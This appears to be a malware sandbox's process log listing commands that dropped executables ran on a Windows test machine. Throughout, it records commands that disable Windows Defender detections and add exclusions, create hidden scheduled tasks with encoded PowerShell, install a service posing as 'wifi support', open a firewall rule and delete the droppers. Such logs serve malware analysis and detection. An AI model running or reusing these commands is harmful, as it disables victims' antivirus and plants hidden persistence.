C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:4768

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:9252

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:7948

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:3176

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:10836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:9608

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:9580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4668

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:5316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:10408

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:5076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:10244

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:5268

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:10340

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CjgIxFSmmQpU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CjgIxFSmmQpU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GSIFwYZpRhUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\GSIFwYZpRhUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PzGYiYnhysPaC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PzGYiYnhysPaC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\crcrQXlPU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\crcrQXlPU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lHQyJDhQgtDStAIVNxR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lHQyJDhQgtDStAIVNxR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\rzEkYquIdPOPpzVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\rzEkYquIdPOPpzVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RFyFqfJDuYUdKAcq\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RFyFqfJDuYUdKAcq\" /t REG_DWORD /d 0 /reg:64;"
2⤵
PID:10128

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CjgIxFSmmQpU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:9876

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CjgIxFSmmQpU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:8584

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CjgIxFSmmQpU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:9772

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GSIFwYZpRhUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:9332

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GSIFwYZpRhUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:5304

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PzGYiYnhysPaC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4188

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PzGYiYnhysPaC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:10764

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\crcrQXlPU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3888

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\crcrQXlPU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:9316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lHQyJDhQgtDStAIVNxR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:9916

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lHQyJDhQgtDStAIVNxR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:5680

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\rzEkYquIdPOPpzVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:10336

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\rzEkYquIdPOPpzVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:10688

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe /t REG_DWORD /d 0 /reg:32
3⤵
PID:7040

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe /t REG_DWORD /d 0 /reg:64
3⤵
PID:8712

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RFyFqfJDuYUdKAcq /t REG_DWORD /d 0 /reg:32
3⤵
PID:8584

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RFyFqfJDuYUdKAcq /t REG_DWORD /d 0 /reg:64
3⤵
PID:9644

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gLfjjHfte" /SC once /ST 04:23:11 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:7296

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gLfjjHfte"
2⤵
PID:3124

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gLfjjHfte"
2⤵
PID:10472

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ltIYxzDPAYrFIwAGQ" /SC once /ST 16:37:50 /RU "SYSTEM" /TR "\"C:\Windows\Temp\RFyFqfJDuYUdKAcq\QtVaOeuaBAbvQbN\sXULiiW.exe\" 5Q /site_id 394347 /S" /V1 /F
2⤵
- Creates scheduled task(s)
PID:9228

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ltIYxzDPAYrFIwAGQ"
2⤵
PID:188

C:\Users\Admin\AppData\Local\Temp\53F0.exe
C:\Users\Admin\AppData\Local\Temp\53F0.exe
1⤵
PID:3492

C:\Users\Admin\AppData\Local\Temp\53F0.exe
C:\Users\Admin\AppData\Local\Temp\53F0.exe
2⤵
PID:4272

C:\Users\Admin\AppData\Local\Temp\5FA9.exe
C:\Users\Admin\AppData\Local\Temp\5FA9.exe
1⤵
PID:10152

C:\Users\Admin\AppData\Local\Temp\5FA9.exe
C:\Users\Admin\AppData\Local\Temp\5FA9.exe
2⤵
PID:7576

C:\Users\Admin\AppData\Local\Temp\7218.exe
C:\Users\Admin\AppData\Local\Temp\7218.exe
1⤵
PID:7104

C:\Users\Admin\AppData\Local\Temp\889F.exe
C:\Users\Admin\AppData\Local\Temp\889F.exe
1⤵
PID:10160

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jlnpndvx\
2⤵
PID:4732

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\frysxdqy.exe" C:\Windows\SysWOW64\jlnpndvx\
2⤵
PID:9232

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" create jlnpndvx binPath= "C:\Windows\SysWOW64\jlnpndvx\frysxdqy.exe /d\"C:\Users\Admin\AppData\Local\Temp\889F.exe\"" type= own start= auto DisplayName= "wifi support"
2⤵
PID:8904

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" description jlnpndvx "wifi internet conection"
2⤵
PID:10272

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start jlnpndvx
2⤵
PID:10708

C:\Users\Admin\fuhdpoht.exe
"C:\Users\Admin\fuhdpoht.exe" /d"C:\Users\Admin\AppData\Local\Temp\889F.exe"
2⤵
PID:10684

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xvfddtcs.exe" C:\Windows\SysWOW64\jlnpndvx\
3⤵
PID:4244

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" config jlnpndvx binPath= "C:\Windows\SysWOW64\jlnpndvx\xvfddtcs.exe /d\"C:\Users\Admin\fuhdpoht.exe\""
3⤵
PID:10560

C:\Windows\SysWOW64\sc.exe
"C:\Windows\System32\sc.exe" start jlnpndvx
3⤵
PID:2848

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\3546.bat" "
3⤵
PID:10860

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
3⤵
PID:10308

C:\Windows\SysWOW64\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
2⤵
PID:9968

C:\Users\Admin\AppData\Local\Temp\ADCC.exe
C:\Users\Admin\AppData\Local\Temp\ADCC.exe
1⤵
PID:10220

C:\Users\Admin\AppData\Local\Temp\F323.exe
C:\Users\Admin\AppData\Local\Temp\F323.exe
1⤵
PID:3416

C:\Users\Admin\AppData\Local\Temp\19B.exe
C:\Users\Admin\AppData\Local\Temp\19B.exe
1⤵
PID:6700

C:\Users\Admin\AppData\Local\Temp\19A8.exe
C:\Users\Admin\AppData\Local\Temp\19A8.exe
1⤵
PID:11184

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\19A8.exe"
2⤵
PID:8744

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
3⤵
- Delays execution with timeout.exe
PID:3316

C:\Users\Admin\AppData\Local\Temp\25FD.exe
C:\Users\Admin\AppData\Local\Temp\25FD.exe
1⤵
PID:10764

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
2⤵
PID:8132

C:\Users\Admin\AppData\Local\Temp\61B0.exe
C:\Users\Admin\AppData\Local\Temp\61B0.exe
1⤵
PID:3892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
2⤵
PID:8148

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dlqgpt0c\dlqgpt0c.cmdline"
3⤵
PID:5716

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2FF4.tmp" "c:\Users\Admin\AppData\Local\Temp\dlqgpt0c\CSCD807B39734264B089D35EBC393307B3A.TMP"
4⤵
PID:8100

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
3⤵
PID:2792

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
3⤵
PID:6048

C:\Users\Admin\AppData\Local\Temp\7930.exe
C:\Users\Admin\AppData\Local\Temp\7930.exe
1⤵
PID:4236

C:\Users\Admin\AppData\Local\Temp\7930.exe
"C:\Users\Admin\AppData\Local\Temp\7930.exe"
2⤵
PID:7328

C:\Users\Admin\AppData\Local\Temp\9C88.exe
C:\Users\Admin\AppData\Local\Temp\9C88.exe
1⤵
PID:8384

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\9C88.exe"
2⤵
PID:5744

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
3⤵
- Delays execution with timeout.exe
PID:9284

C:\Users\Admin\AppData\Local\Temp\TjDxmO44gM.exe
"C:\Users\Admin\AppData\Local\Temp\TjDxmO44gM.exe"
2⤵
PID:10340

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"
3⤵
- Creates scheduled task(s)
PID:10140

C:\Users\Admin\AppData\Local\Temp\B783.exe
C:\Users\Admin\AppData\Local\Temp\B783.exe
1⤵
PID:10916

C:\Users\Admin\AppData\Local\Temp\B783.exe
"C:\Users\Admin\AppData\Local\Temp\B783.exe"
2⤵
PID:6560

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "USz6npYJhQUNx9KvLgoBaNlB" /sc ONLOGON /tr "'C:\Users\Admin\Documents\Opened\USz6npYJhQUNx9KvLgoBaNlB.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:7824

C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\JEfvGBfPCumMMfM\dnDmkfY.exe
C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\JEfvGBfPCumMMfM\dnDmkfY.exe 9Y /site_id 394347 /S
1⤵
PID:6540

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
2⤵
PID:9108

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
3⤵
PID:9320

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
4⤵
PID:10152

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:10000

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:8408

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
PID:5784

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:5516

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:10204

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:5076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:10916

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:8764

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:6568

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:188

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:9272

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:10528

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:3176

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
